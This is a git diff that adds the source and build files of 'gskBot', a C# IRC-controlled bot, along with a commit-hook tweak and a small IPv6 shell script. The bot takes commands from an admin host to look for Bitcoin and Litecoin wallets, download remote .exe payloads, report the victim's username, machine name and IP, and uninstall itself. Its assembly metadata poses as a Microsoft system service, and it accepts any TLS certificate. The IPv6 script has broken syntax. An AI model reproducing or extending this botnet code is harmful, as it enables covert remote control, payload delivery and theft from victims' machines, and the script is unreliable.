+ if (Args[0] == "PING") Raw("PONG " + Args[1]);
+ else if (Args[1] == "002") Raw("JOIN " + Config.Channel + " " + Config.ChannelKey); //Why is 001 not showing?
+ else if (Args[1] == "KICK") Raw("JOIN " + Config.Channel + " " + Config.ChannelKey);
+ else if (Args[1] == "PRIVMSG") {
+ string Message = Regex.Split(Data, Config.Channel + " :")[1];
+ string Nick = Data.Split(' ')[0].Split('!')[0].Replace(":", "");
+ string Host = Data.Split(' ')[0].Split('@')[1];
+ if (Host == Config.AdminHost & Message.StartsWith("@")) {
+ if (Message == "@coin") {
+ if (Function.CheckBTC()) SendMessage("Bitcoin wallet found.");
+ if (Function.CheckLTC()) SendMessage("Litecoin wallet found.");
+ } else if (Message.StartsWith("@dl all ") | Message.StartsWith("@dl " + Config.ID + " ")) {
+ string URL = Message.Replace("@dl " + Config.ID + " ", string.Empty);
+ URL = URL.Replace("@dl all ", string.Empty);
+ Uri FileURL = new Uri(URL);
+ if (URL.EndsWith(".exe")) {
+ SendMessage("Downloading \"" + Path.GetFileName(FileURL.LocalPath) + "\" (" + Function.GetFileSize(URL) + ")");
+ Stopwatch DownloadTimer = new Stopwatch();
+ DownloadTimer.Start();
+ Function.Download(URL);
+ DownloadTimer.Stop();
+ SendMessage("Download Complete! (" + Convert.ToInt32(DownloadTimer.Elapsed.TotalSeconds).ToString() + " Seconds)");
+ } else SendMessage("Error - Invalid URL");
+ } else if (Message == "@info" | Message == "@info " + Config.ID) {
+ SendMessage(Config.Version + " - " + Function.GetUsername() + "@" + Function.GetComputerName() + " (" + Function.GetIP() + ")" + Function.GetAge());
+ } else if (Message == "@kill " + Config.ID) {
+ Quit("KILL");
+ if (Config.Startup) Function.Uninstall();
+ else Environment.Exit(0);
+ }
+ }
+ } else if (Args[1] == ":Closing Link:") Connected = false;
+ }
+ } else Connected = false;
+ }
+ #endregion
+
+ #region Listen
+ public static void Listen() {
+ while (Connected) {
+ try {
+ Data = SockRead.ReadLine();
+ new Thread(() => CommandHandler(Data)).Start();
+ } catch {
+ break;
+ }
+ }
+ Reconnect();
+ }
+ #endregion
+
+ #region Reconnect
+ public static void Reconnect() {
+ CloseConnections();
+ Thread.Sleep(Config.ReconnectDelay);
+ while (!Function.CheckNetwork()) {
+ Thread.Sleep(10000);
+ }
+ Connect();
+ }
+ #endregion
+
+ #region Raw Message
+ public static void Raw(string Message) {
+ SockWrite.WriteLine(Message);
+ }
+ #endregion
+
+ #region Send Message
+ public static void SendMessage(string Message) {
+ Raw("PRIVMSG " + Config.Channel + " :" + Message);
+ }
+ #endregion
+
+ #region SSL Certificate Validation
+ private static bool OnCertificateValidation(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors errors)
+ {
+ return true;
+ }
+ #endregion
+
+ #region Quit
+ public static void Quit(string Message) {
+ if (Connected) SockWrite.WriteLine("QUIT " + Message);
+ CloseConnections();
+ }
+ #endregion
+ }
+}
diff --git a/c#/gskBot/gskBot/Properties/AssemblyInfo.cs b/c#/gskBot/gskBot/Properties/AssemblyInfo.cs
new file mode 100644
index 0000000..2d1df5f
--- /dev/null
+++ b/c#/gskBot/gskBot/Properties/AssemblyInfo.cs
@@ -0,0 +1,33 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("Microsoft Software Protection Platform Service")]
+[assembly: AssemblyDescription("Microsoft Software Protection Platform Service")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("Microsoft Corporation")]
+[assembly: AssemblyProduct("Microsoft® Windows® Operating System")]
+[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible
+// to COM components. If you need to access a type in this assembly from
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("6de825be-64df-4908-b52b-bf300f7a86b0")]
+
+// Version information for an assembly consists of the following four values:
+//
+// Major Version
+// Minor Version
+// Build Number
+// Revision
+//
+[assembly: AssemblyVersion("6.3.0.0")]
+[assembly: AssemblyFileVersion("6.3.0.0")]
diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.exe b/c#/gskBot/gskBot/bin/Debug/gskBot.exe
new file mode 100644
index 0000000..3f485ce
Binary files /dev/null and b/c#/gskBot/gskBot/bin/Debug/gskBot.exe differ
diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.exe.config b/c#/gskBot/gskBot/bin/Debug/gskBot.exe.config
new file mode 100644
index 0000000..77ed642
--- /dev/null
+++ b/c#/gskBot/gskBot/bin/Debug/gskBot.exe.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.pdb b/c#/gskBot/gskBot/bin/Debug/gskBot.pdb
new file mode 100644
index 0000000..b79b838
Binary files /dev/null and b/c#/gskBot/gskBot/bin/Debug/gskBot.pdb differ
diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe b/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe
new file mode 100644
index 0000000..01b91bc
Binary files /dev/null and b/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe differ
diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.config b/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.config
new file mode 100644
index 0000000..77ed642
--- /dev/null
+++ b/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.manifest b/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.manifest
new file mode 100644
index 0000000..f96b1d6
--- /dev/null
+++ b/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.manifest
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
diff --git a/c#/gskBot/gskBot/gskBot.csproj b/c#/gskBot/gskBot/gskBot.csproj
new file mode 100644
index 0000000..25ee671
--- /dev/null
+++ b/c#/gskBot/gskBot/gskBot.csproj
@@ -0,0 +1,101 @@
+
+
+
+
+ Debug
+ AnyCPU
+ {E3BEC248-AB70-4696-B5D1-46C275D8970E}
+ WinExe
+ Properties
+ gskBot
+ gskBot
+ v2.0
+ 512
+ false
+
+ publish\
+ true
+ Disk
+ false
+ Foreground
+ 7
+ Days
+ false
+ false
+ true
+ 0
+ 1.0.0.%2a
+ false
+ true
+
+
+ AnyCPU
+ true
+ pdbonly
+ true
+ bin\Debug\
+ TRACE
+ prompt
+ 4
+ false
+ false
+ Off
+
+
+ AnyCPU
+ pdbonly
+ true
+ bin\Release\
+ TRACE
+ prompt
+ 4
+ false
+
+
+ gskBot.Bot
+
+
+ icon.ico
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ False
+ Microsoft .NET Framework 4.5 %28x86 and x64%29
+ true
+
+
+ False
+ .NET Framework 3.5 SP1 Client Profile
+ false
+
+
+ False
+ .NET Framework 3.5 SP1
+ false
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/c#/gskBot/gskBot/gskBot.csproj.user b/c#/gskBot/gskBot/gskBot.csproj.user
new file mode 100644
index 0000000..be7881f
--- /dev/null
+++ b/c#/gskBot/gskBot/gskBot.csproj.user
@@ -0,0 +1,13 @@
+
+
+
+ publish\
+
+
+
+
+
+ en-US
+ false
+
+
\ No newline at end of file
diff --git a/c#/gskBot/gskBot/icon.ico b/c#/gskBot/gskBot/icon.ico
new file mode 100644
index 0000000..9abb5c6
Binary files /dev/null and b/c#/gskBot/gskBot/icon.ico differ
diff --git a/c#/gskBot/gskBot/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/c#/gskBot/gskBot/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
new file mode 100644
index 0000000..f2ebf8f
Binary files /dev/null and b/c#/gskBot/gskBot/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache differ
diff --git a/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs b/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
new file mode 100644
index 0000000..e69de29
diff --git a/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs b/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
new file mode 100644
index 0000000..e69de29
diff --git a/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs b/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
new file mode 100644
index 0000000..e69de29
diff --git a/c#/gskBot/gskBot/obj/Debug/gskBot.csproj.FileListAbsolute.txt b/c#/gskBot/gskBot/obj/Debug/gskBot.csproj.FileListAbsolute.txt
new file mode 100644
index 0000000..b8f64f8
--- /dev/null
+++ b/c#/gskBot/gskBot/obj/Debug/gskBot.csproj.FileListAbsolute.txt
@@ -0,0 +1,24 @@
+c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\bin\Debug\gskBot.exe.config
+c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\obj\Debug\gskBot.csprojResolveAssemblyReference.cache
+c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\bin\Debug\gskBot.exe
+c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\bin\Debug\gskBot.pdb
+c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\obj\Debug\gskBot.exe
+c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\obj\Debug\gskBot.pdb
+C:\Users\Kayla\Desktop\c#\gskBot\gskBot\bin\Debug\gskBot.exe.config
+C:\Users\Kayla\Desktop\c#\gskBot\gskBot\bin\Debug\gskBot.exe
+C:\Users\Kayla\Desktop\c#\gskBot\gskBot\bin\Debug\gskBot.pdb
+C:\Users\Kayla\Desktop\c#\gskBot\gskBot\obj\Debug\gskBot.csprojResolveAssemblyReference.cache
+C:\Users\Kayla\Desktop\c#\gskBot\gskBot\obj\Debug\gskBot.exe
+C:\Users\Kayla\Desktop\c#\gskBot\gskBot\obj\Debug\gskBot.pdb
+D:\dev\c#\gskBot\gskBot\bin\Debug\gskBot.exe.config
+D:\dev\c#\gskBot\gskBot\bin\Debug\gskBot.exe
+D:\dev\c#\gskBot\gskBot\bin\Debug\gskBot.pdb
+D:\dev\c#\gskBot\gskBot\obj\Debug\gskBot.csprojResolveAssemblyReference.cache
+D:\dev\c#\gskBot\gskBot\obj\Debug\gskBot.exe
+D:\dev\c#\gskBot\gskBot\obj\Debug\gskBot.pdb
+C:\Users\john\Desktop\gskBot\gskBot\bin\Debug\gskBot.exe.config
+C:\Users\john\Desktop\gskBot\gskBot\bin\Debug\gskBot.exe
+C:\Users\john\Desktop\gskBot\gskBot\bin\Debug\gskBot.pdb
+C:\Users\john\Desktop\gskBot\gskBot\obj\Debug\gskBot.csprojResolveAssemblyReference.cache
+C:\Users\john\Desktop\gskBot\gskBot\obj\Debug\gskBot.exe
+C:\Users\john\Desktop\gskBot\gskBot\obj\Debug\gskBot.pdb
diff --git a/c#/gskBot/gskBot/obj/Debug/gskBot.csprojResolveAssemblyReference.cache b/c#/gskBot/gskBot/obj/Debug/gskBot.csprojResolveAssemblyReference.cache
new file mode 100644
index 0000000..8c7de0c
Binary files /dev/null and b/c#/gskBot/gskBot/obj/Debug/gskBot.csprojResolveAssemblyReference.cache differ
diff --git a/c#/gskBot/gskBot/obj/Debug/gskBot.exe b/c#/gskBot/gskBot/obj/Debug/gskBot.exe
new file mode 100644
index 0000000..3f485ce
Binary files /dev/null and b/c#/gskBot/gskBot/obj/Debug/gskBot.exe differ
diff --git a/c#/gskBot/gskBot/obj/Debug/gskBot.pdb b/c#/gskBot/gskBot/obj/Debug/gskBot.pdb
new file mode 100644
index 0000000..b79b838
Binary files /dev/null and b/c#/gskBot/gskBot/obj/Debug/gskBot.pdb differ
diff --git a/irc/post-commit b/irc/post-commit
index 6b1dc21..91b7031 100755
--- a/irc/post-commit
+++ b/irc/post-commit
@@ -3,14 +3,12 @@
_data=$(git log -1 --graph --pretty=format:"%h|%s|%cn")
_hash=$(echo "$_data" | cut -d'|' -f1 | cut -c 3-)
_msg=$(echo "$_data" | cut -d'|' -f2)
-
-echo $GIT_DIR
-_name=$(echo "$_data" | cut -d'|' -f3)
-
+#_name=$(echo "$_data" | cut -d'|' -f3)
+_name=$(basename $(dirname $(git rev-parse --show-toplevel))) # Local hack to parse out ircart/supernets organizations
_repo=$(basename -s .git $(git config --get remote.origin.url))
_summary=$(git show $_hash --stat | grep -E "fil(e|es) changed" | awk '{files+=$1; inserted+=$4; deleted+=$6} END {printf "%s|+%s|-%s", files, inserted, deleted }')
_files=$(echo $_summary | cut -d'|' -f1)
_inserts=$(echo $_summary | cut -d'|' -f2)
_deletes=$(echo $_summary | cut -d'|' -f3)
_ircmsg="irc.supernets.#superbowl *14[11GitHub14] Commit pushed to 08$_name/$_repo (06$_hash) 14[$_files14|03$_inserts14|04$_deletes14] : $_msg"
-#echo "$_ircmsg" | ssh contra tee "$HOME/.weechat/weechat_fifo" > /dev/null
\ No newline at end of file
+echo "$_ircmsg" | ssh contra tee "$HOME/.weechat/weechat_fifo" > /dev/null
\ No newline at end of file
diff --git a/v6 b/v6
new file mode 100755
index 0000000..f87743d
--- /dev/null
+++ b/v6
@@ -0,0 +1,23 @@
+#!/bin/sh
+interface='eth0'
+subnet='2607:5300:201:3000:' random: random: random: random4
+
+v6add() {
+ address=subnet
+ for i in $(seq $2); do
+ ip addr add $address dev $1
+ echo $address
+ echo $address >> v6.output
+ done
+}
+
+v6del() {
+ [ -f v6.output ]
+ address_list=$(cat v6.output)
+ for address in address_list
+ ip addr del $address dev $interface
+ done
+}
+
+v6add
+#v6del
\ No newline at end of file